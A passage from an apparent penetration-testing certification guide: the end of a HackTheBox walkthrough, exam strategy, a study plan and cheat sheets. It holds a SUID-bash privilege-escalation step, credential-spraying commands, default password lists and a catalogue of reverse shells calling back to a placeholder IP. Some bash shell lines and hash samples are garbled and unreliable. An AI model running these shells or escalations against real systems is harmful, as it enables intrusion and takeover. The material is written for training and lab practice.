Modify `test.py` to give us root:

```
import os
os.system("chmod +s /bin/bash")
# Or:
# os.system("cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash")
```

Wait one minute. Then:

```
/bin/bash -p
> bash-4.3# id
uid=33 www-data | gid=33 www-data | suid=0 | root | groups=33 www-data |
```

Root.

10.7.7 What Bashed Teaches You

1. Directory enumeration with ffuf
2. Spotting a web shell in development assets (a real-world finding when devs accidentally deploy debug tools)
3. Stabilising a basic shell into a full-featured one
4. Reading `sudo -l` and acting on it
5. Identifying root-run cron jobs by file timestamps and ownership
6. Modifying writable scripts to escalate

The exam will not have a “phpbash.php” pre-installed but the methodology - find a web shell or web vulnerability, get a foothold, stabilise, enumerate privesc paths, escalate - is the universal pattern.

10.8 Section Summary

Practical lab time is the most valuable preparation for the CRT exam. Specifically:

1. Complete at least 30 easy/medium HackTheBox boxes covering Linux, Windows, AD, and web vectors
2. Work through the PortSwigger Web Security Academy Apprentice and a meaningful subset of Practitioner labs
3. Complete TryHackMe’s Junior Penetration Tester learning path
4. Understand each technique, not just the steps - able to vary the approach when a box’s assumed technique fails

Quantity matters but quality matters more. A candidate who has done ten boxes thoroughly (writing notes, reproducing with variations, understanding alternative paths) is better-prepared than one who has rushed through fifty boxes by following walkthroughs.

The next chapter provides a structured exam strategy and 8-week study plan combining lab work with the theory in earlier chapters.

Part 11: Exam Strategy and Preparation

This chapter provides a practical guide to the CRT exam itself: how to allocate time, what to do in the first hour, what to do when stuck, what to put in CRESTDrive, and how to manage the eight hours of exam time productively.

11.1 Recap: Exam Structure

The CRT exam is:

- **Practical duration:** 2 hours 30 minutes
- **Reading time:** 15 minutes (separate from the practical period)
- **Format:** A “practical assault course” delivered as a mix of multiple choice questions, short-form written answers, and practical “trophy” answers (specific values captured by performing tasks against a reference network)
- **Setting:** Pearson VUE test centre, in person. Kali Linux VM accessed via the Pearson VUE secure browser
- **Marking:** Auto-marked. Results delivered within approximately five working days
- **Tools available:** Burp Suite Professional and Nessus Professional are licensed in the exam VM. The full Kali toolset is pre-installed; no internet, no copy/paste between VM and answer window
- **CRESTDrive:** Candidates may pre-upload files for use in the exam
- **Pre-requisite:** Valid CPSA certification
- **Validity:** Three years from date of exam

Always re-read the official CREST documentation (the Notes for Candidates and the CRT FAQ on crest-approved.org) close to your exam date in case of changes.

11.2 The 2.5-Hour Time Plan

The CRT gives 150 minutes of practical time. With a question count likely in the 15-25 range across infrastructure and web, the plan below allocates time in 15-30 minute blocks rather than the multi-hour blocks that would suit a longer engagement-style exam.

Reading time (15 minutes, before the practical clock starts)

- Read every question slowly. Note which are multiple choice (quick), short form (medium), and trophy answers (variable).
- Group questions by target: which questions hit the same host? Which depend on a foothold elsewhere?
- Identify the easy wins: any multiple choice you already know the answer to, any trophy that is “what does this banner say” against a single host.
- Plan an order: start with the cheapest questions (multiple choice you can answer immediately), then questions you can probably answer with one nmap scan, then the deeper exploitation questions.
- Pre-plan which broad scan to launch the moment the practical clock starts.

Block 1 (0-20 minutes): Initial scan + multiple choice cleanup

- Launch a broad nmap scan against the entire in-scope range (`nmap -sCV -p- --min-rate 5000` with output redirected to a file). It runs while you work.
- Answer every multiple choice question you already know the answer to. These are the cheapest marks. Mark anything you are unsure of for return.
- For short-form questions that ask about generic concepts (e.g., “what port does X service use”, “what is the standard tool for Y”), answer them now from memory.

Block 2 (20-50 minutes): Service enumeration and easy trophies

- Review the nmap output. Flag every host that exposes a service you know how to enumerate.
- Run the appropriate NSE scripts and service-specific tools against each: `enum4linux-ng` for SMB, `ldapsearch` for AD, `whatweb` for web servers, `snmp-check` for SNMP.
- Capture banners, OS versions, share lists - many trophy answers are values like “the OS version of host X” or “the SMB share name on host Y” that fall out of routine enumeration.
- Answer every trophy question that resolves to a directly observable enumeration value.

Block 3 (50-110 minutes): Exploitation

- Pick targets in order of confidence. If you see EternalBlue, default credentials on Tomcat, anonymous FTP write, or Heartbleed - take them first. They are reliable.
- For each foothold: stabilise the shell (if interactive); pull credentials and answer any related trophy questions; then move on. Do not over-extend on a single host.
- For web app questions: open Burp, work through SQLi/XSS/IDOR/file upload tests systematically. The methodology from chapter 8.25 is

the playbook.

- **Do not spend more than 15-20 minutes on any single question** without progress. Mark and move on.

Block 4 (110-145 minutes): Hard questions, return-trips, and verification

- Return to questions you marked. With more context (and possibly credentials extracted from earlier hosts), some now solve quickly.
- Verify trophy answers before final entry: re-run the command, double-check spelling, confirm whitespace, confirm case.
- Watch for the 5-minute warning notification.

Block 5 (145-150 minutes): Final submission

- Pearson VUE auto-submits at the timer expiry, so a clean final pass is not strictly required, but good practice is to leave 5 minutes to confirm every answer field has been filled.
- Submit.

This plan is approximate. The 25-questions-in-150-minutes math (6 minutes per question) is a guide, not a rule. Some questions take 30 seconds; others take 20 minutes. Maintain awareness of your remaining time and ruthlessly skip questions you cannot answer in a reasonable time.

11.3 Decision Heuristics

When stuck, the following heuristics guide what to try next:

11.3.1 “Is My Time Being Well-Spent?”

Every 10-15 minutes, ask: “am I making progress?”. If yes, continue. If no, change tactics:

- Have I exhausted enumeration on this target? Probably not - re-check service banners and run any NSE script you skipped.
- Have I tried other questions first? Marking and moving on is virtually always correct in a question-bank format with a hard time cap.
- Is the path I’m pursuing the intended path? In a CRT trophy answer the “intended” answer is whatever specific value the question is asking for. If the target is “the OS version of host X”, you do not need a shell - you need a banner.

11.3.2 “What Did I Skip?”

After 10-15 minutes on one question without progress:

- Did I run a UDP scan when needed?
- Did I look at every web vhost / Host header value?
- Did I try every default credential for the service in front of me?
- Did I try every found credential against every service?
- Did I check robots.txt, sitemap.xml, /.git/, /.env, /.well-known/?
- Did I check every HTTP method?
- Did I look at JavaScript files for hidden API endpoints?
- Did I review the HTML source for hidden form fields and comments?
- Did I read the question carefully? CRT trophy answers are specific - re-read what is actually being asked.

Cycle through these and re-enumerate. Often the missed step is the answer. If still stuck, mark the question and move on - return to it with fresh eyes after answering others.

11.3.3 The “Three Tries” Rule

If a specific exploit fails three times with variations (different payloads, parameters, etc.), it is not the right path. Move on. The exam does not award marks for stubbornness, and time spent on a wrong answer is time taken from a question you could have got right.

11.3.4 Credential Reuse First

When you obtain ANY credential anywhere, immediately test it against:

- SSH on every host
- SMB on every host
- WinRM on every host
- MSSQL/MySQL/PostgreSQL on every host running them
- Web admin panels you’ve found
- Any other service requiring auth

```
# Sweep with NetExec/CrackMapExec
nxc smb 10.10.10.0/24 -u found_user -p 'found_password' --continue-on-success
nxc winrm 10.10.10.0/24 -u found_user -p 'found_password' --continue-on-success
nxc ssh 10.10.10.0/24 -u found_user -p 'found_password' --continue-on-success
nxc mssql 10.10.10.0/24 -u found_user -p 'found_password' --continue-on-success
```

A single credential found in one place often unlocks multiple hosts.

11.4 Note-Taking Structure

In a 150-minute trophy-answer exam, elaborate hierarchies of per-host directories are over-engineered. You will not have time to maintain them. The objective is **immediate retrieval** of a few key facts: the IP/port profile of each target, every credential discovered, and any value you might need to enter as an answer.

A minimal structure:

```
exam-notes/
├── scan.txt           # raw nmap output for the entire scope
├── creds.md          # every credential as you find it (user / pass / hash / source / where it works)
├── targets.md        # one line per host: IP, OS, key services, status (untouched / enumerated / shell)
└── scratchpad.md     # everything else - quick notes, command output snippets, things to revisit
```

The `creds.md` file is the most important single artefact. Every credential you find anywhere goes in it the moment you find it, with a note of where you found it and which services you have tested it against. When you discover a new auth-prompted service half an hour later, this is the first place you look.

Tools that work well in the exam VM:

- **gedit** or **mousepad** or any GUI text editor pre-installed on Kali for quick note jotting
- **vim** or **nano** if you are comfortable in a terminal - usually faster than GUI
- **CherryTree** if you have it pre-configured - hierarchical structure suits multi-target exams

Burp Suite's project file holds your web app testing state automatically; you do not need to take separate notes about which URL you sent to Repeater.

The single most important property of a note-taking system during an exam: **fast write, fast retrieval**. You should be able to grep your notes for a credential, IP, or value in under five seconds.

11.5 CRESTDrive Recommendations

CRESTDrive is the “dropbox” CREST provides for candidates to upload notes, scripts, and reference material before the exam. Material on CRESTDrive is accessible during the exam. Use it.

11.5.1 What to Upload

The cheat sheet at the end of this book (chapter 12) should be uploaded as the centrepiece. Other useful additions:

1. **Personal command reference**: every nmap/ffuf/sqlmap command syntax you commonly use
2. **GTFOBins offline copy**: HTML/JSON dump of GTFOBins entries
3. **PayloadsAllTheThings**: GitHub repo dumped to local files
4. **Reverse shell cheat sheet**: every language, every encoding
5. **Common port reference**: with default services
6. **Hash format reference**: for hashcat mode lookup
7. **Default credentials list**: for major products
8. **Active Directory attack methodology**: stepwise from null session to DA
9. **Web testing methodology checklist**: a paper-style checklist you tick through
10. **Exploit/CVE quick reference**: well-known exploits, CVE numbers, Metasploit module names
11. **Linux privesc checklist**: from foothold to root
12. **Windows privesc checklist**: from foothold to SYSTEM

Some candidates upload comprehensive “books” they have collected (this kind of book, in fact) - which is both legitimate and often useful. The risk is information overload: you cannot read 200 pages during the exam, you can only look up specific sections. Pre-read your reference material so you know where to find each topic.

11.5.2 What NOT to Upload

- Pre-built exploits or Metasploit modules - the exam VM has these
- Massive wordlists - the exam VM has SecLists
- Tools - the exam VM has Kali defaults
- Anything that violates the exam policy (always re-read the policy close to the exam)

11.5.3 Format Recommendations

- **Plain text or Markdown** beats Word docs for fast reading
- **HTML files** can include images and clickable indices - good for cheat sheets
- **Single-file documents** are easier to manage than directory trees

- **Indexed by topic** - reduce search time during exam pressure

The cheat sheet provided in chapter 12 is structured for exactly this purpose.

11.6 Mock Exams

A mock exam in the run-up is invaluable. The setup:

1. Block out 2 hours 30 minutes (plus 15 minutes reading time) of uninterrupted time
2. Prepare a Kali VM identical to your exam environment - the official CRT AMI ([CREST-CRT-Candidate-Machine-AMI-Setup-Guide.pdf](#)) is the gold standard because it mirrors what you will see on the day
3. Spin up a small multi-host network (3-6 hosts) with VulnHub VMs or two HTB easy boxes plus a couple of vulnerable web applications. The CRT exam network is small and time-pressured rather than sprawling - mock that
4. Operate as if it were the real exam: 15 minutes of reading-only planning, then 150 minutes of capture
5. Aim to capture specific values (banner, OS version, file content, password hash, SQL injection result) rather than to “fully exploit” - this matches the trophy-answer format
6. Review at the end: where did time get wasted? Which commands did you reach for incorrectly? What knowledge gaps appeared?

HTB Pro Labs (Dante is the easiest, Offshore is also CRT-relevant) are larger than CRT scope but worth a single attempt for pivoting practice. For mock-exam purposes a smaller setup is more representative.

11.7 Day-Before Checklist

The day before the exam:

- ☐ Sleep schedule normalised: aim for 7-8 hours
- ☐ Light review only - don't try to learn anything new
- ☐ Confirm exam logistics: time, Pearson VUE test centre location, journey time, parking
- ☐ Confirm your two forms of government-issued ID are ready - one must have a photograph (typically passport plus driving licence)
- ☐ CRESTDrive uploaded with current reference material (cheat sheet, notes, scripts, wordlists)
- ☐ Re-read the Pearson VUE test-centre rules so there are no day-of surprises about what you can take in (no electronics, lockers provided)
- ☐ Plan to arrive at least 30 minutes early to allow time for check-in
- ☐ Eat a proper meal that morning; bring water for the journey
- ☐ Eliminate distractions the evening before (early bed; phone-off; no caffeine after early afternoon)

11.8 Day-of Routine

The morning of:

- Eat properly. Glycogen depletion mid-exam impairs problem-solving.
- Travel to the Pearson VUE test centre with time to spare. Aim to arrive 30 minutes before your appointment.
- Bring your two forms of ID. No electronics will accompany you into the test room - phone, smartwatch, earbuds all go in the locker.
- Use the restroom before check-in. The exam clock does not pause for breaks.

When the reading time begins (15 minutes, before the practical clock starts):

1. **Read every question slowly.** Note format (multiple choice, short form, trophy) and apparent difficulty.
2. **Group questions by target.** Many questions will share an underlying host or application; tackle them together.
3. **Identify the immediate-answer questions** - multiple choice you know, or facts you can look up in your CRESTDrive notes in seconds.
4. **Plan a question order** for the practical phase. Easy ones first.
5. **Pre-plan the broad scans** to launch the moment the practical clock begins.

When the practical 150 minutes begins:

1. **Launch the broad nmap scan first** so it runs while you work.
2. **Answer the cheap multiple choice questions** while the scan runs.
3. **Switch to enumeration trophies** when the scan results come in.
4. **Do not dwell on any single question for more than 15-20 minutes** without progress. Mark and return.

11.9 Common Mistakes

The errors that cost candidates marks in their first attempt:

11.9.1 Skipping enumeration

Time pressure tempts candidates to dive into exploitation as soon as they see a familiar service. The pace is brutal: 6 minutes per question on average. But skipping enumeration to save 5 minutes wastes 30 minutes when the chosen target turns out to be wrong. Always run a broad

scan first and let it complete.

11.9.2 Single-Question Tunneling

The single biggest failure mode in a 150-minute exam: spending 45 minutes on one trophy and getting nothing for it. With ~25 questions, that is two questions' worth of time. Mark and move on after 15-20 minutes without clear progress.

11.9.3 Ignoring Question Format

Multiple choice questions take seconds. Trophy answers can take 20 minutes. If you are running out of time, prioritise unanswered multiple choice over half-finished trophy attempts.

11.9.4 Inadequate Notes / Credentials Tracking

When you obtain a credential at minute 30, you may need it again at minute 90. Maintain a single `credentials-found.md` you can grep, and re-test each new credential against every previously discovered service.

11.9.5 No Practice Run

The first time you experience the Pearson VUE secure browser plus locked-down VM should not be exam day. The official CRT AMI is freely available; spend at least one full mock-exam session inside it before the real thing.

11.9.6 Ignoring Time

The exam timer does not pause. The Pearson VUE secure browser shows a 5-minute warning, but by then it is far too late to change strategy. Glance at the clock every 15 minutes and adjust.

11.9.7 Cleartext Credentials Forgotten

When you find credentials early, they may unlock something later. Keep them visible in a single notes file and revisit when you discover new auth-prompted services.

11.9.8 Not Testing Pass-the-Hash

When NTLM hashes are found, candidates sometimes try to crack them but forget that the hash IS the credential for many services. Pass-the-hash to SMB/WinRM/MSSQL works without cracking.

11.9.9 Web App Testing Without Burp

Trying to manually URL-encode and craft requests with curl is much slower than Burp Repeater. Always work web through Burp.

11.9.10 Missing Sub-Domain / Vhost Discovery

Many web boxes have content gated behind a Host header. Always run vhost enumeration with `ffuf -H "Host: FUZZ.target.com"`.

11.10 If You Fail

Failing the CRT is not unusual on a first attempt. The key is to fail productively:

1. **Review the result** delivered by Pearson VUE / CREST. The CRT is auto-marked, so detailed per-question feedback is limited - what you typically learn is a pass/fail outcome, possibly with broad topic-level indication.
2. **Honestly self-assess which questions you struggled with** at the time. Memory of the exam fades fast - write up your impression as soon as you leave the test centre.
3. **Map the struggles to syllabus topics** (Appendices A through H). Identify the two or three weakest areas.
4. **Build a targeted study plan** addressing those specific gaps with theory plus lab time.
5. **Re-book through Pearson VUE** when ready. Refer to current CREST policy for any cooling-off period between attempts.

The retake fee is non-trivial; do not retake while still under-prepared. Conversely, do not delay indefinitely - the gap between attempts erodes practical skill.

11.11 The 8-Week Study Plan

Combining everything from this book and chapter 10's lab recommendations into an executable 8-week schedule. This assumes 10-15 hours per week dedicated.

Week 1: Foundations and Networking

Theory (3-5 hours): - Read chapters 1-3 of this book - Review IP/TCP/UDP/ICMP/DNS concepts if rusty - Review basic Linux command-line if rusty

Labs (8-12 hours): - THM Pre-Security path (if new to penetration testing) - THM Network Security - HTB Lame, Bashed (full walkthrough following methodology) - 5 PortSwigger Apprentice labs (any topic)

Week 2: Service Enumeration

Theory (3-5 hours): - Read chapter 4 (Network Services) - Build a personal service enumeration cheat sheet covering port → tool → first-five-commands

Labs (8-12 hours): - HTB Beep, Mirai, Sense - HTB Granny, Grandpa (Windows IIS WebDAV) - THM Network Services 1, 2 - 5 more PortSwigger Apprentice labs

Week 3: Linux Privilege Escalation

Theory (3-5 hours): - Read chapter 7 (Linux/UNIX) - Browse all GTFOBins entries - Understand how SUID, capabilities, sudo, cron, NFS are exploited

Labs (8-12 hours): - HTB Shocker, Valentine, Networked - THM Linux PrivEsc room - THM Linux PrivEsc Arena - 5 more PortSwigger Apprentice labs

Week 4: Windows Standalone

Theory (3-5 hours): - Read chapter 6 (Windows) sections 1, 4, 5, 7, 10 - Understand Windows hash formats, lateral movement, common privesc

Labs (8-12 hours): - HTB Devel, Optimum, Bounty - HTB Arctic, Jeeves - THM Windows PrivEsc room - THM Common Linux Privesc (review)

Week 5: Active Directory

Theory (3-5 hours): - Read chapter 6 sections 2, 3, 8, 9 - Read chapter 5 sections 3 (Responder) and 12 (SMB) - Understand the full AD attack chain

Labs (10-15 hours): - HTB Forest (the canonical AD box) - HTB Active - HTB Sauna - THM Attacktive Directory - THM Holo (or similar AD network if Holo unavailable)

Week 6: Web Applications Part 1

Theory (5-7 hours): - Read chapter 8 sections 1-13 (servers, frameworks, protocols, auth, sessions) - Practise Burp Suite Repeater, Intruder, Decoder fluency

Labs (10-15 hours): - HTB Bashed, Sense, Networked (web aspects) - 15+ PortSwigger Apprentice + Practitioner labs across: - SQL injection (5+) - XSS (5+) - Authentication (3+) - Access control (3+)

Week 7: Web Applications Part 2 + Databases

Theory (5-7 hours): - Read chapter 8 sections 14-25 (injection, file upload, SSRF, methodology) - Read chapter 9 (Databases)

Labs (10-15 hours): - HTB Magic, Knife, Doctor (web + privesc chains) - HTB Querier (MSSQL) - HTB Postman (Redis) - 10+ PortSwigger Practitioner labs

Week 8: Mock Exam and Final Review

Days 1-2: Mock Exam - 2.5-hour mock exam (plus 15 min reading) against a small multi-host lab inside the official CRT AMI - Practise pacing: 6 minutes per question average - Honest self-assessment of which question types you handled well or poorly

Days 3-5: Targeted Weakness Repair - Identify the 2-3 weakest topics from the mock - Theory review on those topics - 2-3 targeted lab boxes per weakness

Days 6-7: Final Preparation - Light review only - no new topics - Re-read chapter 12 (cheat sheet) - Confirm CRESTDrive uploads - Confirm exam logistics (test centre location, journey, ID documents) - Sleep properly

11.12 Section Summary

The CRT is a passable exam. Candidates who prepare systematically pass; candidates who hope to “wing it” usually fail. Specifically:

1. Allocate at least 6-8 weeks of dedicated preparation
2. Combine theory with extensive lab work (3:1 lab to theory time)
3. Master the AD attack chain - it covers a meaningful slice of the syllabus and is reliable when practised
4. Master core web app testing methodology - the Web Technologies appendix (G) is large and the questions can come fast
5. Run at least one mock exam inside the official CRT AMI under realistic 150-minute time pressure
6. Build CRESTDrive content optimised for fast lookup, not comprehensive reading
7. Plan the exam time block-by-block; do not improvise. With ~25 questions in 150 minutes, time discipline beats raw skill
8. Triage: easy questions first, hard questions last, never lose more than 15-20 minutes to a single problem

The next chapter is the appendix and cheat sheet section - reference material for fast lookup during the exam.

Part 12: Appendices and Cheat Sheets

This final chapter consolidates reference material for fast lookup during the exam. Upload this chapter to CRESTDrive in plain markdown; bookmark each section.

12.1 Common Ports Reference

12.1.1 By Port Number

Port	TCP/UDP	Service
21	TCP	FTP
22	TCP	SSH
23	TCP	Telnet
25	TCP	SMTP
53	TCP/UDP	DNS
67/68	UDP	DHCP
69	UDP	TFTP
79	TCP	Finger
80	TCP	HTTP
88	TCP	Kerberos
110	TCP	POP3
111	TCP/UDP	RPC Portmapper
119	TCP	NNTP
123	UDP	NTP
135	TCP	MS-RPC Endpoint Mapper
137	UDP	NetBIOS Name Service
138	UDP	NetBIOS Datagram
139	TCP	NetBIOS Session / SMB over NetBIOS
143	TCP	IMAP
161	UDP	SNMP
162	UDP	SNMP Trap
177	UDP	XDMCP
179	TCP	BGP
389	TCP/UDP	LDAP
443	TCP	HTTPS
445	TCP	SMB direct
465	TCP	SMTPS
500	UDP	IKE/ISAKMP
512/513/514	TCP	r-services (rexec/rlogin/rsh)
513	UDP	rwho
515	TCP	LPD (printing)
587	TCP	SMTP submission
593	TCP	RPC over HTTP
623	UDP	IPMI
636	TCP	LDAPS
873	TCP	rsync
902	TCP	VMware Server
989/990	TCP	FTPS
993	TCP	IMAPS
995	TCP	POP3S
1080	TCP	SOCKS proxy

1099	TCP	Java RMI
1194	UDP	OpenVPN
1352	TCP	Lotus Notes
1433	TCP	MSSQL
1434	UDP	MSSQL Browser
1521	TCP	Oracle TNS Listener
1701	UDP	L2TP
1723	TCP	PPTP
1883	TCP	MQTT
2049	TCP/UDP	NFS
2375	TCP	Docker REST (cleartext)
2376	TCP	Docker REST (TLS)
2483/2484	TCP	Oracle DB (alternate)
3000	TCP	Various (Grafana, Node.js)
3128	TCP	Squid proxy
3260	TCP	iSCSI
3268/3269	TCP	LDAP Global Catalog / LDAPS GC
3306	TCP	MySQL
3389	TCP	RDP
3690	TCP	SVN
4369	TCP	Erlang Port Mapper
4848	TCP	GlassFish admin
5000	TCP	Various (UPnP, Flask)
5060/5061	TCP/UDP	SIP
5222	TCP	XMPP
5353	UDP	mDNS
5432	TCP	PostgreSQL
5555	TCP	Various (HP Data Protector, ADB)
5601	TCP	Kibana
5672	TCP	AMQP / RabbitMQ
5800/5801	TCP	VNC HTTP
5900-5906	TCP	VNC
5984	TCP	CouchDB
5985/5986	TCP	WinRM HTTP/HTTPS
6000-6063	TCP	X11
6379	TCP	Redis
6660-6669	TCP	IRC
7001/7002	TCP	WebLogic
7077	TCP	Spark
7474	TCP	Neo4j HTTP
7687	TCP	Neo4j Bolt
8000	TCP	Various (Splunk, dev servers)
8009	TCP	Apache AJP
8080	TCP	HTTP-alt (Tomcat, Jenkins)
8081	TCP	Various (MongoDB Express)
8086	TCP	InfluxDB
8089	TCP	Splunk Universal Forwarder
8090	TCP	Confluence
8161	TCP	ActiveMQ
8443	TCP	HTTPS-alt

8500	TCP	Consul
8649	TCP	Ganglia
8888	TCP	Various (Jupyter)
9000	TCP	Various (PHP-FPM, SonarQube)
9001	TCP	HSQLDB / Tor relay
9090/9091	TCP	Various (Cockpit, Prometheus)
9092	TCP	Kafka
9100	TCP	Printer (JetDirect)
9200/9300	TCP	Elasticsearch HTTP/transport
9418	TCP	Git
9999	TCP	Various (often custom)
10000	TCP	Webmin
11211	TCP/UDP	Memcached
27017/27018	TCP	MongoDB
50070	TCP	Hadoop NameNode

12.1.2 Quick Domain Controller Profile

A host with these ports open is virtually certainly a Domain Controller:

```
TCP/53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5985
UDP/53, 88, 123, 137, 138, 389
```

12.2 nmap Quick Reference

12.2.1 Common Scan Types

```
# TCP SYN scan, default ports, default scripts, version detection
sudo nmap -sCV 10.10.10.50

# Full TCP port scan, no DNS, fast rate
sudo nmap -sS -p- --min-rate 5000 -n -Pn 10.10.10.50

# Top 1000 UDP
sudo nmap -sU --top-ports 1000 10.10.10.50

# Scan a list of hosts
sudo nmap -iL hosts.txt

# Aggressive (OS fingerprint, version, scripts, traceroute)
sudo nmap -A 10.10.10.50

# Output to all formats
sudo nmap -sCV 10.10.10.50 -oA scan_results

# Fragment to evade IDS
sudo nmap -f 10.10.10.50

# Decoy
sudo nmap -D RND:5,ME 10.10.10.50

# Source port (some firewalls trust port 53 source)
sudo nmap --source-port 53 10.10.10.50

# IPv6
sudo nmap -6 fe80::1
```

12.2.2 NSE Script Categories

```
# Scripts by category
sudo nmap --script default 10.10.10.50      # = -sC
sudo nmap --script vuln 10.10.10.50
sudo nmap --script auth 10.10.10.50
sudo nmap --script brute 10.10.10.50
sudo nmap --script discovery 10.10.10.50
sudo nmap --script exploit 10.10.10.50
sudo nmap --script intrusive 10.10.10.50

# Specific service script bundles
sudo nmap --script "http-*" -p 80,443 10.10.10.50
sudo nmap --script "smb-*" -p 445 10.10.10.50
sudo nmap --script "dns-*" -p 53 10.10.10.50
sudo nmap --script "ssl-*" -p 443 10.10.10.50

# Single named scripts
sudo nmap --script smb-vuln-ms17-010 -p 445 10.10.10.50
sudo nmap --script ssh-hostkey -p 22 10.10.10.50
```

12.2.3 Useful Output Filtering

```
# Only open ports
sudo nmap --open 10.10.10.50

# Save grepable output
sudo nmap -oG - 10.10.10.50 | grep "Ports: " | grep "open"

# Extract IPs of hosts with port 445 open
grep -B 4 "445/open" scan.gnmap | grep "Host:" | awk '{print $2}'
```

12.3 Hash Format / Hashcat Mode Reference

Quickly identifying a hash format saves significant time. The most common formats and their hashcat modes:

Hash format	Sample	Mode
MD5	5f4dcc3b5aa765d61d8327deb882cf99	0
SHA1	5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8	100
SHA-224	e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b	1300
SHA-256	e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855	1400
SHA-384	(96 hex)	10800
SHA-512	(128 hex)	1700
NTLM	8846f7eae8fb117ad06bdd830b7586c	1000
LM	aad3b435b51404eeaad3b435b51404ee	3000
NetNTLMv1	user::DOMAIN:hash:hash:nonce	5500
NetNTLMv2	user::DOMAIN:nonce:hash:blob	5600
Kerberos TGS-REP (RC4)	\$krb5tgs\$23\$*user\$DOMAIN\$spn*\$cs\$ed	13100
Kerberos TGS-REP (AES256)	\$krb5tgs\$18\$user\$DOMAIN\$cs\$ed	19700
Kerberos AS-REP	\$krb5asrep\$23\$user@DOMAIN:cs\$ed	18200
Kerberos PreAuth (AS-REQ)	\$krb5pa\$23\$user\$DOMAIN\$salt\$blob	7500
Cached Domain Logon (DCC)	M\$user#hash	1100
Cached Domain Logon 2 (DCC2)	\$DCC2\$10240#user#hash	2100
Linux md5crypt	\$1\$salt\$hash	500
Linux sha256crypt	\$5\$salt\$hash	7400
Linux sha512crypt	\$6\$salt\$hash	1800
Linux yescrypt	\$y\$j9T\$salt\$hash	30001
bcrypt	\$2b\$10\$salt.hash (60 chars)	3200
Apache MD5 (htpasswd)	\$apr1\$salt\$hash	1600
MySQL pre-4.1	41 hex chars or 16 hex	200
MySQL 4.1+	*40 hex chars	300
MySQL 8 caching_sha2	\$mysql\$5\$...	7401
PostgreSQL md5	md5<32hex> (with username salt)	12
PostgreSQL SCRAM-SHA-256	SCRAM-SHA-256\$...	28600
MSSQL 2005-2008	0x0100<salt><hash>	132
MSSQL 2012+	0x0200<salt><hash>	1731
Oracle 11g	S:<60 hex>	112
Oracle 12c+	H:<long>	12300
WPA-PSK	(HCCAPX/22000)	22000
WPA EAPOL		2500 (legacy)
7-Zip	\$7z\$...	11600
Office 2007+	(varies)	9400-9800
PDF 1.4+	(varies)	10500-10700
KeePass 2	\$keepass\$*2\$...	13400
LUKS	(varies)	14600
RAR3	\$RAR3\$*...	12500
RAR5	\$rar5\$...	13000
ZIP	(varies)	13600
JWT (HS256)	\$JWT\$HS256...	16500
Cisco-IOS Type 7	<7-char> (encrypt only, decode)	n/a (use decoder)
Cisco-IOS Type 5	\$1\$salt\$hash	500
Cisco-IOS Type 8	\$8\$salt\$hash (PBKDF2)	9200
Cisco-IOS Type 9	\$9\$salt\$hash (scrypt)	9300
Cisco-ASA MD5	(16 chars + base64)	2400

```
# Hashcat invocation pattern
hashcat -m <mode> hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m <mode> hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m <mode> hashes.txt -a 3 ?u?l?l?l?l?d?d # mask attack
hashcat --show -m <mode> hashes.txt # show cracked

# John equivalents
john --format=NT hash.txt --wordlist=rockyou.txt
john --format=netntlmv2 capture.txt --wordlist=rockyou.txt
john --show hash.txt
```

12.4 Default Credentials Reference

12.4.1 Network Devices

Vendor	Username	Password
Cisco	cisco	cisco
Cisco	admin	admin
Cisco	(blank)	cisco
Juniper	root	(blank)
HP iLO	Administrator	(random; printed on tag)
Dell DRAC	root	calvin
HP ProCurve	manager	(blank)
Mikrotik	admin	(blank)
Ubiquiti	ubnt	ubnt
TP-Link	admin	admin

12.4.2 Databases

Database	Username	Password
MSSQL	sa	(blank or sa or password)
MySQL	root	(blank)
MySQL	root	root
Oracle	system	manager
Oracle	sys	change_on_install
Oracle	scott	tiger
Oracle	dbnmp	dbnmp
PostgreSQL	postgres	postgres
PostgreSQL	postgres	(blank)
MongoDB	(blank)	(blank)
Redis	(blank)	(blank)
CouchDB	admin	(blank)
Cassandra	cassandra	cassandra

12.4.3 Web Applications and Tools

Application	Username	Password
Tomcat	tomcat	tomcat
Tomcat	admin	admin
Tomcat	tomcat	s3cret
Tomcat	role1	tomcat
Jenkins	admin	admin
Jenkins	(anonymous read often default)	
Jboss	admin	admin
Splunk	admin	changeme
Grafana	admin	admin
RabbitMQ	guest	guest
Joomla admin	admin	admin
WordPress admin	admin	admin / password
Webmin	(system root)	
phpMyAdmin	root	(blank or matches MySQL root)
Cacti	admin	admin
Nagios	nagiosadmin	nagiosadmin
OWASP ZAP API	admin	(blank)
Tomcat manager (legacy)	both	tomcat
GlassFish	admin	admin / glassfish
WebLogic	weblogic	weblogic
WebLogic	system	password

12.4.4 Common Combinations

The classic “first 20 to try” against any login:

```
admin:admin
admin:password
admin:(blank)
admin:admin123
admin:Password1
admin:Welcome1
admin:changeme
root:root
root:toor
root:password
root:(blank)
guest:guest
test:test
demo:demo
user:user
operator:operator
manager:manager
service:service
sysadmin:sysadmin
support:support
```

12.5 Reverse Shell Catalogue

The all-language reverse shell catalogue. Replace `<IP>` and `<PORT>`.

12.5.1 Bash

```
bash -i && /dev/tcp/<IP>/<PORT> 0>&1
bash -c 'bash -i && /dev/tcp/<IP>/<PORT> 0>&1'
bash -c 'exec bash -i &&/dev/tcp/<IP>/<PORT> <&1'
```

12.5.2 Sh (POSIX)

```
0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196
```

12.5.3 Netcat

```
# With -e (some nc support it)
nc -e /bin/bash <IP> <PORT>

# Without -e (most modern nc - this is the portable way)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <IP> <PORT> >/tmp/f

# OpenBSD nc
mkfifo /tmp/f; nc <IP> <PORT> < /tmp/f | /bin/sh > /tmp/f 2>&1
```

12.5.4 Python

```
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("<IP>",<PORT>));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

